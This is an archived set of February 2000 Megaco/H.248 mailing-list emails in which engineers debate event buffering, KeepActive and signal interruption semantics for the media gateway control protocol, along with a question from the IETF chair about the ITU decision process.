> Loop sends all of them when a Notify occurs

No. Process processes whatever event might reside in the buffer when a new
EventsDescriptor is activated (~received). Loop (and step) specifies whether
the MG should continue event processing after a Notify has been sent (for
whatever reason) or

>
> Step sends one of them, but I don't understand how you get
> another one.  You get a Notify event, and settings are Step and Process.
> Do you send the Notified event first, and then the buffer,
> do you put the Notified Event in the buffer and send the first
> event that was in the buffer.  Then what?

Process only applies when a new EventsDescriptor is received, where as Step
only applies once a Notify is sent. Recognizing that these are really two
separate functions is the reason for having two parameters as opposed to one
(like in v14).

>
>
> But, I digress.  If you have provided an example of how you use
> it in MF trunking, I must have missed it, because I don't
> see it in this thread, I see an allusion to it having something
> like digitmaps, but I don't understand it.

All right, example follows. In MF trunking, all digit sequences are
surrounded by KP and ST (give or take a few "primes"). The way of handling
an incoming call is to recognize seizure, respond with a wink, and then
collect all digits up to the ST. So what you can do here is simply to
1. Ask to be notified about seizure,
2. Automatically respond with a wink (timing is critical)
3. Collect all digits up to ST and then notify them (Accumulate KP, 0..9,
Notify ST)
As you can see we now use the Accumulate and Notify actions independently.
You will now argue that we could have defined a digit map instead, and you
are right. We could have handled this as yet another special case.
Let's consider another example; keyboard input. I might only want to send an
entire line of input, e.g. when I hit Enter, rather than every single
character (incl. backspace) as I type them. Yes, let's go ahead and define a
special keyboard input package so we handle this special case as well.
The point here is, that this operation is not a special case. It is general
enough to warrant inclusion in the base protocol.



>
>
> The scripting argument is pretty weak, IMO, because scripts can
> use "EventBufferOff" and do anything they want to.

No they can't. The text states that you must send a Notify whenever any of
the events in the EventsDescriptor occurs. Thus any scripting mechanism you
come up with is restricted from interaction with the normal event
processing, and must consequently define it's own semantics and reporting
mechanism by means of higher-level events. This is precisely what you ended
up doing with digit maps and this is precisely what you will end up doing
with anything else that attempts to do some kind of local MG processing, and
as I have pointed out before, it has the side-effect of not reporting events
in order, because it has to define higher-level events, e.g. like "digit map
match completed". Your mechanism is simply not general enough to do anything
else.

>
>
> The problems with TD-58's scheme are:
>         1. The mechanism as defined in the text doesn't work

I disagree. I think you are twisting words, and if want to be pedantic then
nothing short of formal mathematical expressions works.

>
>         2. It is not the MGCP mechanism (quarantine, for example,
>                 is not in there).  We have no experience with this
>                 one

That's hardly the point, but I think it is.

>
>         3. The combination of discard/accumulate makes no sense
>                 In fact the combination of discard and any state
>                 of loop/step doesn't make sense

As I explained in above it does - in fact a lot.

>
>         4. The action of process by digitmap makes sense only
>                 with dtmf, and no other events, yet it's a whole action
>                 and gets applied to the dtmf digits, rather than the
>                 DigitMap completion events.

I dont' see the problem. I do see events being reported in order though,
something that v14 does not guarantee.

>
>         5. KeepActive has nothing to do with action - whether the
>                 event stops signals should not be tied to whether
>                 you Notify or Accumulate

I agree completely, which is why we made that comment in our SG-16
contribution.

>
>         6. Following notification of an event, whether that event
>                 should be Notified or Accumulated should be up to
>                 the MGC; the TD-58 mechanism does not allow an
>                 event to be Notified, but subsequently accumulated

I don't understand this. Do you want an event to be reported but stay in the
buffer at the same time ? I don't see what you would use that for, but
regardless, let me just note that v14 doesn't provide you this either.
If what you want is to guarantee that the MGC controls the MG in lockstep
mode, then use "step-by-step" mode. Once an event has been notified, the MG
will await further instructions from the MGC before it processes any other
event.

>
>         7. Generally, the most interesting thing to do is to detect
>                 one of several events, and then accumulate until
>                 the MGC figures out what it wants to do next.  TD-58
>                 doesn't let you do that - it only accumulates before the
>                 triggering event.

So you want to report the same event twice ? Again, I don't see how you
would use that, but let me start by pointing out that v14 doesn't provide
this mechanism either. Can you provide any kind of example for this ?


>
>
> Brian
>

-- Flemming


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:06:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA13679
	for ; Wed, 9 Feb 2000 13:05:59 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FB203EB0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:02:55 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35669 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:01:16 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.BFFF1180@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:01:16
          -0500
Received: from worldnet.att.net ([12.78.98.159]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000209180341.RVML1419@worldnet.att.net>; Wed, 9 Feb 2000 18:03:41
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088ED@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A1ABFF.4B93C0F0@worldnet.att.net>
Date:         Wed, 9 Feb 2000 13:03:43 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> Somewhat hoisted, I press on :)
>
> I do think that DigitMaps is much too specialized and should be
> replaced with a much more general mechanism, but the mechanism
> doesn't behave like accumulate - it actually processes the events,
> until it finds a terminating event and sends ONE message.

Aah, well for that we have the Ignore action in MGCP. If you want we could
add it (or something similar). That way both of our goals would be achieved.



>  That
> is useful, and a generalized mechanism that processed a set of
> events, until it found a terminating event and sent one message
> would be great.  It doesn't take action to do it, all it takes
> is having an event that takes a list of other events and a pattern
> to match.  That can be defined in a package.

The only problem with that is getting the events reported in order (or even
reported when you don't get that triggering event nut a bunch of events
before that) when you have some events that are handled by the pattern and
some that are not.


>
>
> An even better mechanism would be a script that could handle
> a sequence of events and change state as the events occurred,
> then send a message.

Now that we can agree on.

>
>
> Neither of those mechanisms benefit from action and loop/step;
> on the contrary, they make it more complicated because the
> protocol would specify how events got in and out of the buffer
> and the script mechanism or generalized digitmap mechanism
> has to work around that (you don't say "Accumulate" on
> dtmf, you have to say "process by map").

Rubbish. As I have argued countless times by now, they give you a general
mechanism that allow events to be reported in order. All you are doing is
deferring everything to specialized packages, and just hope for the best
when several of these packages have to work together.


>
>
> Brian
>
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@cisco.com]
> > Sent: Wednesday, February 09, 2000 10:49 AM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Cisco SG16: Keep Active
> >
> >
> > Rosen, Brian writes:
> >  > Flemming
> >  >
> >  > Rather than go through this, it seems we are in an impasse.
> >  >
> >  > I believe that the two modes provided give you all the tools
> >  > required to either have events sent to the MGC as fast as they
> >  > occur, but with little filtering, or, to have the MGC and the MG
> >  > be in lock-step on processing events.  If there are some wording
> >  > problems that make you think this is not so, we will have to change
> >  > them, as that is the intent.
> >  >
> >  > It would seem that there is only one fundamental difference in the
> >  > two mechanisms: you seem to want a way to have some events
> > get buffered, and
> >  > then have something occur which causes the buffer
> >  > to be sent.  I think there is no such requirement.
> >
> > What, in principle, are digit maps if not special
> > instances of what Flemming is describing? I don't
> > think that anybody would argue that, say,
> > overlapped dialing doesn't function properly. It's
> > just that there's incentive to keep usual and
> > unneed load off the MGC, which is a consideration.
> >
> > Didn't you at one time want to fold digit maps
> > into a general mechanism? Something that you
> > thought might be a good idea if it weren't for the
> > fact that it opened yet another can of worms? How
> > would you do this without having a means of
> > buffering events where a specified trigger caused
> > the MG to send the accumulated events?
> >
> >  > Let me rephrase
> >  > that a little: the benefit of creating in-between mechanisms
> >  > is outweighed by the complexity of the mechanism required, and the
> >  > lack of agreement on what additional complexity is warranted.
> >  > I think you would agree that the "send events as you find them"
> >  > always works, it's just that the MGC may have to throw away some
> >  > events it may have been able to avoid seeing, which raises the
> >  > complexity of the MGC code required.
> >
> > It's not an issue of complexity; MGC's need to
> > deal with events and their timing no matter how
> > they come in. It it's an issue of efficiency. In
> > the case of digit maps, it would at least double
> > the number of messages needed to complete a call.
> >
> >
> >              Mike
> >

-- Flemming

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:10:32 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14015
	for ; Wed, 9 Feb 2000 13:10:31 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.452D0060@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:04:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35588 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:03:23 -0500
Received: from sj-mailhub-3.cisco.com by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.A63E5090@standards.nortelnetworks.com>; Wed, 9 Feb 2000 12:53:23
          -0500
Received: from rhino (rhino.cisco.com [172.20.9.57]) by sj-mailhub-3.cisco.com
          (8.9.1a/8.9.1) with ESMTP id KAA14342; Wed, 9 Feb 2000 10:14:45 -0800
          (PST)
Received: from p7020-img-nt (fred-hm-dhcp1.cisco.com [171.69.128.116]) by rhino
          (SMI-8.6/CISCO.WS.1.1) with SMTP id JAA26042; Wed, 9 Feb 2000
          09:59:00 -0800
X-Sender: fred@flipper.cisco.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <4.1.20000209093921.02117360@flipper.cisco.com>
Date:         Wed, 9 Feb 2000 09:53:50 -0800
Reply-To: Fred Baker 
Sender: "Media Gateway Control (megaco)"
              
From: Fred Baker 
Subject:      H.248 Activity
X-To:         sob@harvard.edu
X-cc:         pierre-andre.probst@swisscom.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Scott:

I have a question regarding the status of the Megaco/H.248 development
activity in Geneva. SG16 is busily trying to "decide" the H.248 document,
I'm told, and doing so in violation of its own procedures. It's procedures
call for "deciding" to be based on a stable document, while the document
before that house has changed substantively since October, and there are
numerous contributions to change it even today.

I understand that one of the key supporters of deciding the document this
week is Tom Taylor, the chair of Megaco. Monday morning, Tom opened a
Working Group last call on the IETF version of the document, which if any
of the current ITU contributions are accepted differs substantively from
the ITU document. By doing this, Tom cuts IETF review of the document out
of the loop.

I thought this was a joint development between IETF and ITU, a showcase of
that in fact, and that the IETF would review and agree to H.248 before it
was decided? What's going on here?

Fred
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Fred Baker      | 519 Lado Drive
IETF Chair      | Santa Barbara California 93111
www.ietf.org    | Desk:   +1-408-526-4257
                | Mobile: +1-805-886-3873
                | FAX:    +1-413-473-2403


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:20:20 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14585
	for ; Wed, 9 Feb 2000 13:20:19 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F8AE4260@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:17:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35759 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:16:05 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.6C0093A0@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          13:06:04 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA25908; Wed, 9 Feb 2000 19:08:29 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA26009;
          Wed, 9 Feb 2000 19:08:29 +0100
Received: from ericsson.com ([146.11.7.157]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA08084; Wed, 9 Feb 2000
          19:08:11 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A1AD0A.FB097A4D@ericsson.com>
Date:         Wed, 9 Feb 2000 19:08:10 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

To me it makes no sense to draw distinction between the types of signals
and replacement behaviour.

With the following rules, what behaviour can't you handle?

o You can explicitely define the replacement behaviour using the
  KEEPACTIVE flag. ie. If on, Signals are not stopped by events
o Signals can be of a transition type "on->off" or something with
  duration "plays for x seconds". This does not have to be part of the
  protocol. Its a characteristic of the tone/message to be played.
o Using BR,TO,OO controls the number of times that it is "played"

Cheers, Christian

Flemming Andreasen wrote:
>
> I should probably clarify the following:
>
> When referring to BR signals below and saying that I'm fine with deferring discussion
> about interrupting them or not until v2, I was referring to interrupting them by
> SignalsDescriptor only. I still believe they should not be interrupted by events.
>
> -- Flemming
>
> Flemming Andreasen wrote:
>
> > Hi Michael
> >
> > Comments below
> >
> > Michael Brown wrote:
> >
> > > Yes, actually this was a discussion that was held in Washington. VMWI is what
> > > we were calling an instantaneous OO signal. That is, the MGC sends down the
> > > signal to turn the light on. The CPE is messaged and the light comes on. In
> > > PSTN, the switch does not continuously send the command to keep the light on.
> > > If I send another signal descriptor without VMWI included no message is sent
> > > to the CPE about VMWI and the light stays on. It isn't until the MGC send a
> > > message to turn it off, that the light then goes off. Just by the way, there
> > > really is no reason why VMWI has to be an OO signal ... making it a BR signal
> > > would work just as well.
> >
> > I think we are looking at this signal at two different levels. I look at it as an
> > abstract higher level indicator that with two states; on and off. It seems you
> > view it as a lower level signaling mechanism where the entire FSK mechanism (I
> > presume) is what you expect. Some (older) phones may indeed expect this, however
> > some newer (IP phones) may not. I would prefer a higher level abstraction, but
> > neither is right or wrong. However, if you do want something like what I'm looking
> > for, I don't think a BR signal would be appropriate.
> >
> > >
> > >
> > > As an aside, if VMWI is a truly a non interruptable OO signal, how would the
> > > user go offhook?
> >
> > I see your point, but I think the question arises because of the different
> > abstraction levels we each have in mind here. In my case, if I had an analog phone
> > connected where I need the on-hook FSK transmission, then I would expect my MG to
> > simply shield those details from me. Thus, if the user goes off-hook during FSK
> > signaling or if he was already off-hook, I would have the MG take care of that,
> > and simply turn on the indicator when he went on-hook again.
> >
> > >
> > >
> > > Another aside is if a user hangs up during a non interruptable BR signal where
> > > the BR signal is not set up to report completion (most common case), what
> > > happens to the onhook event? If not reported, the line would hang in off hook
> > > state until either the MGC determined there was a problem or until the user
> > > went off hook and onhook again.
> >
> > I'm not sure I follow here. Events happen regardless of signal semantics. What we
> > are looking at is whether a given event affects a given signal or not.
> >
> > >
> > >
> > > My opinion is that if we want a particular signal to be truly noninterruptable
> > > (which I would contend that we really don't ever want to do), we would send a
> > > null events descriptor... if we don't want to see events, then don't ask for
> > > them. If we want to see some events, but we want the signal to continue, then
> > > use Keepactive.
> >
> > Again, I think that for the OO part of this discussion it's because we had
> > different levels of abstraction in mind. I still firmly believe that OO signals
> > should not be interrupted in as much as all they really do is (conceptually) set a
> > state to either "on" or "off". Interrupting them would imply setting the state to
> > "off" to me, and I definitely don't want that. BR signals are a whole other story.
> > I think there are arguments for not letting them be interrupted as well, but
> > that's a discussion with a lot of implications, which I'm fine with deferring
> > until v2.
> >
> > >
> > >
> > > Michael
> > >
> > > PS. I realize that I have not been contributing to the Keepactive discussion,
> > > but will do so right now.
> > >
> > > Flemming Andreasen wrote:
> > >
> > > > Can you explain how you plan on supporting say "visual message waiting
> > > > indicator" if OO signals are interrupted ?
> > > >
> > > > -- Flemming
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > G'Day all,
> > > > >
> > > > > I'd like to confer with Michael. All signals should be able to be
> > > > > interrupted. I think the behaviour of the signal types should be
> > > > > uniform. The distinction between: BR, TO, OO should be how many times
> > > > > the signal is played. ie.
> > > > > - BR play once what ever length it is.
> > > > > - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> > > > > ring pattern multiple times.
> > > > > - OO play and repeat until turned off.
> > > > >
> > > > > A previous email sent by Tom gives an outline on what I believe the
> > > > > replacement rules should be.
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > > > Michael Brown wrote:
> > > > > >
> > > > > > Overall, we're still on the right track since we haven't taken the
> > > > > > approach of throwing everything away and starting over, but I do have
> > > > > > problems with some of the proposed changes. My feeling is that they
> > > > > > take us back to the situation we had before the IETF meeting in
> > > > > > Washington where I felt these issues were reasonably well resolved.
> > > > > >
> > > > > > The biggest general issue I have is that the definitions for signal
> > > > > > type cross the boundary into dictating implementation detail. Take the
> > > > > > case of  a BR signal. Happily, we have not come back around to trying
> > > > > > to define some time limit for a BR signal (although I think continuing
> > > > > > with the proposal will eventually lead us there again), so for now BR
> > > > > > is a subjective statement. Let's say I want to play a signal of a
> > > > > > relatively short tone (a couple of seconds) with a provisioned (in the
> > > > > > MG) length, but I want it to be interruptable. By these definitions,
> > > > > > this would have to be treated as a TO which means that the MGC would
> > > > > > have to specify duration (or we have the special rule of duration=0
> > > > > > means to play the signal til the MG stops it) which I don't think
> > > > > > should be required.
> > > > > >
> > > > > > There are other example of how these definitions require a specific
> > > > > > implementation of common signals, such as dial tone.
> > > > > >
> > > > > > Basically, I suppose I continue to feel that the default for all
> > > > > > signals should be interruptable and that  Keepactive be used to
> > > > > > override that behavior.
> > > > > >
> > > > > > Unfortunately, I don't have time to respond with my objections more
> > > > > > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > > > > > I arrive in Geneva, I will follow up with my other concerns and
> > > > > > examples.
> > > > > >
> > > > > > Michael
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > > > > I'd like to see the reaction of a couple of other vocal parties --
> > > > > > > say Michael Brown and Christian Groves.
> > > > > > >
> > > > > > > We have three signal types with distinct roles:
> > > > > > >   BR has a timer but is not interrupted by events.  It is
> > > > > > > interrupted by signal descriptor replacement.
> > > > > > >   TO is the most interruptible: timer, events, signal descriptors.
> > > > > > >   OO is the most persistent: interrupted by signal descriptors with
> > > > > > > explicit "Off" syntax only.
> > > > > > > I assume we allow over-riding of default signal type in any given
> > > > > > > instance of playout.
> > > > > > >
> > > > > > > The list is an interesting problem.  I think I have an answer to
> > > > > > > turning an OO list off, but now we also have to define behaviour in
> > > > > > > response to events.  We might consider the following rules:
> > > > > > >
> > > > > > >  -- the type of the list is set explicitly -- every signal on the
> > > > > > > list with the possible exception of the last one must be either BR
> > > > > > > or TO, in order to have an assigned duration
> > > > > > >
> > > > > > >  -- if the last event is OO, the list must be OO and vice versa
> > > > > > >  -- the type of the list, not the type of the signals making it up,
> > > > > > > determines the conditions under which playout of the list ceases
> > > > > > >
> > > > > > >  -- the list times out if it is not OO and all of the signals on it
> > > > > > > have played out, each in turn to its full duration.
> > > > > > >
> > > > > > >      -----Original Message-----
> > > > > > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > > > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > > > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > > > > >
> > > > > > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > > > > > >      broken in order to get fixed :-)
> > > > > > >
> > > > > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > > > > >      three different signal types and three different semantics.
> > > > > > >      Each has it's own time and place. In the case of dial-tone,
> > > > > > >      TimeOut happens to be the one, not Brief.
> > > > > > >
> > > > > > >      -- Flemming
> > > > > > >
> > > > > > >
> > > > > > >      "Rosen, Brian" wrote:
> > > > > > >            Let's see:    Events stop signals except:        When
> > > > > > >           KeepActive is set        If the signal is BR        If the
> > > > > > >           signal is OONet result - events stop signals only when TO
> > > > > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > > > > >           rather than a KeepActiveMaybe it happens so seldom that we
> > > > > > >           use an embedded signals to do it.Also note that by saying
> > > > > > >           BR doesn't stop for events, you twist the solution tofirst
> > > > > > >           digit stops dialtone to a new level.Brian
> > > > > > >                -----Original Message-----
> > > > > > >                From: Flemming Andreasen [
> > > > > > >                ]
> > > > > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > > > > >                To: MEGACO@standards.nortelnetworks.com
> > > > > > >                Subject: Re: Cisco SG16: Signals Operation
> > > > > > >
> > > > > > >                Hi Tom
> > > > > > >
> > > > > > >                OO signals should not be interrupted by an event,
> > > > > > >                only the explicit "Off" syntax should have this
> > > > > > >                effect (otherwise we are back to TO signals with
> > > > > > >                indefinite duration, and semantically there's good
> > > > > > >                use for something that stays active until explicitly
> > > > > > >                told otherwise, e.g. consider message waiting
> > > > > > >                indicator)
> > > > > > >
> > > > > > >                Regards
> > > > > > >
> > > > > > >                        Flemming
> > > > > > >
> > > > > > >                Tom-PT Taylor wrote:
> > > > > > >
> > > > > > >
> > > > > > >                     Digging through the accumulated mass of indented
> > > > > > >                     text and comments, I think I see two parties
> > > > > > >                     agreeing on the following points.  Unfortunately
> > > > > > >                     experience tells me that as soon as we introduce
> > > > > > >                     a third party the agreements will vanish, but
> > > > > > >                     I'll record them here just in case a miracle
> > > > > > >                     happens.
> > > > > > >
> > > > > > >                     1) BR signals have the following
> > > > > > >                     characteristics: duration is assumed to be known
> > > > > > >                     to the MG without explicit MGC input.  Brian
> > > > > > >                     wants the ability to override duration, and I
> > > > > > >                     have no quarrel with that -- the only question
> > > > > > >                     is the exact mechanism.  The second
> > > > > > >                     characteristic is that a BR signal is not
> > > > > > >                     terminated by the detection of an event.  (But
> > > > > > >                     BR signals are still terminated by replacement
> > > > > > >                     of the Signals descriptor??  Any objections
> > > > > > >                     here?)
> > > > > > >
> > > > > > >                     2) TO signals seem to be fairly well understood.
> > > > > > >
> > > > > > >                     3) OO signals have the following
> > > > > > >                     characteristics: they remain on until
> > > > > > >                     interrupted by detection of an event, or receipt
> > > > > > >                     of a Signals descriptor with explicit Off
> > > > > > >                     syntax.  Brian's keyword syntax is probably
> > > > > > >                     acceptable.  Brian has a query about signal
> > > > > > >                     lists.  Is there something about this proposal
> > > > > > >                     that doesn't work given our current signal list
> > > > > > >                     text?
> > > > > > >
> > > > > > >                     4) Brian's proposals for completion events
> > > > > > >                     probably work for Chip and they work for me.  To
> > > > > > >                     summarize: the current notifyCompletion
> > > > > > >                     parameter remains but its significance changes:
> > > > > > >                     it is a selector (Boolean, default FALSE) and
> > > > > > >                     does not actually arm reporting.  There is a
> > > > > > >                     signal completion event which reports on the
> > > > > > >                     completion of any signal so flagged, with the
> > > > > > >                     identity of the signal as a reporting
> > > > > > >                     parameter.  QUESTION: should KeepActive default
> > > > > > >                     to TRUE for this event?  In any case, the signal
> > > > > > >                     completion event is invoked in the usual way,
> > > > > > >                     through an events descriptor.
> > > > > > >
> > > > > > >                     Open issue: signal failures.  The need for
> > > > > > >                     reports of such failures is real -- they do
> > > > > > >                     happen from time to time.  They happen
> > > > > > >                     autonomously, which means we either have to have
> > > > > > >                     an error method (ServiceChange ?) or an event to
> > > > > > >                     report them.  The key issue is whether you would
> > > > > > >                     need to know about ANY failure or only those of
> > > > > > >                     selected signals.
> > > > > > >
> > > >
> > > > --
> > > > ---------------------------------------
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > > ---------------------------------------
> >
> > Regards
> >
> >             Flemming
> >
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 13:24:11 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14832
	for ; Wed, 9 Feb 2000 13:24:09 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.40C638F0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 13:19:11 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35784 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 13:17:11 -0500
Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.934908C0@standards.nortelnetworks.com>; Wed, 9 Feb 2000
          13:07:10 -0500
Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id
          TAA26144; Wed, 9 Feb 2000 19:09:27 +0100 (MET)
Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id TAA26026;
          Wed, 9 Feb 2000 19:09:27 +0100
Received: from ericsson.com ([146.11.7.157]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id TAA08092; Wed, 9 Feb 2000
          19:08:59 +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088DB@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A1AD3D.17962403@ericsson.com>
Date:         Wed, 9 Feb 2000 19:09:01 +0100
Reply-To: Christian Groves 
Sender: "Media Gateway Control (megaco)"
              
From: Christian Groves 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

I hope I can be that voice. I believe that the mechanism proposed in the
v14 draft is sufficient. I haven't seen any concrete example where it
falls down. The behaviour of MGCP can be implemented in one way or
another (its not clear to me that all the functionality is needed). If
in the future we find that its not suffient then we can add
functionality to the protocol in a CS2.

Cheers, Christian

"Rosen, Brian" wrote:
>
> I'm going to have to take a break on this thread to get out the V15
> I-D.  I can get back to it when I finish.  In the mean time,
> it would be helpful to hear more voices.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > Sent: Tuesday, February 08, 2000 12:06 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Cisco SG16: Keep Active
> >
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > Flemming
> > >
> > > Rather than go through this, it seems we are in an impasse.
> > >
> > > I believe that the two modes provided give you all the tools
> > > required to either have events sent to the MGC as fast as they
> > > occur, but with little filtering, or, to have the MGC and the MG
> > > be in lock-step on processing events.  If there are some wording
> > > problems that make you think this is not so, we will have to change
> > > them, as that is the intent.
> >
> > I think we are in agreement on this particular requirement
> > part, however I
> > believe there are details to be worked out as explained in my
> > previous e-mail.
> > My caveat here is the "lock-step on processing events", where
> > I want a mechanism
> > that allows you more flexibility in this processing than what
> > you have specified
> > in v14. TD-58 satisfies those requirements.
> >
> > >
> > >
> > > It would seem that there is only one fundamental difference in the
> > > two mechanisms: you seem to want a way to have some events
> > get buffered, and
> > > then have something occur which causes the buffer
> > > to be sent.  I think there is no such requirement.  Let me rephrase
> > > that a little: the benefit of creating in-between mechanisms
> > > is outweighed by the complexity of the mechanism required, and the
> > > lack of agreement on what additional complexity is warranted.
> >
> > Precisely what complexity are we talking about here ? Despite
> > the "no-op" change
> > rule, I have played along and taken your v14 proposal and
> > explained the problems
> > I see with it. I think it's your turn to come forward with
> > specific problems in
> > the TD-58 scheme now.
> >
> >
> >
> > > I think you would agree that the "send events as you find them"
> > > always works, it's just that the MGC may have to throw away some
> > > events it may have been able to avoid seeing, which raises the
> > > complexity of the MGC code required.  The issue is, how do you
> > > find a middle ground that is truly useful?  I don't see it,
> > > no one has supplied any justification for it.
> >
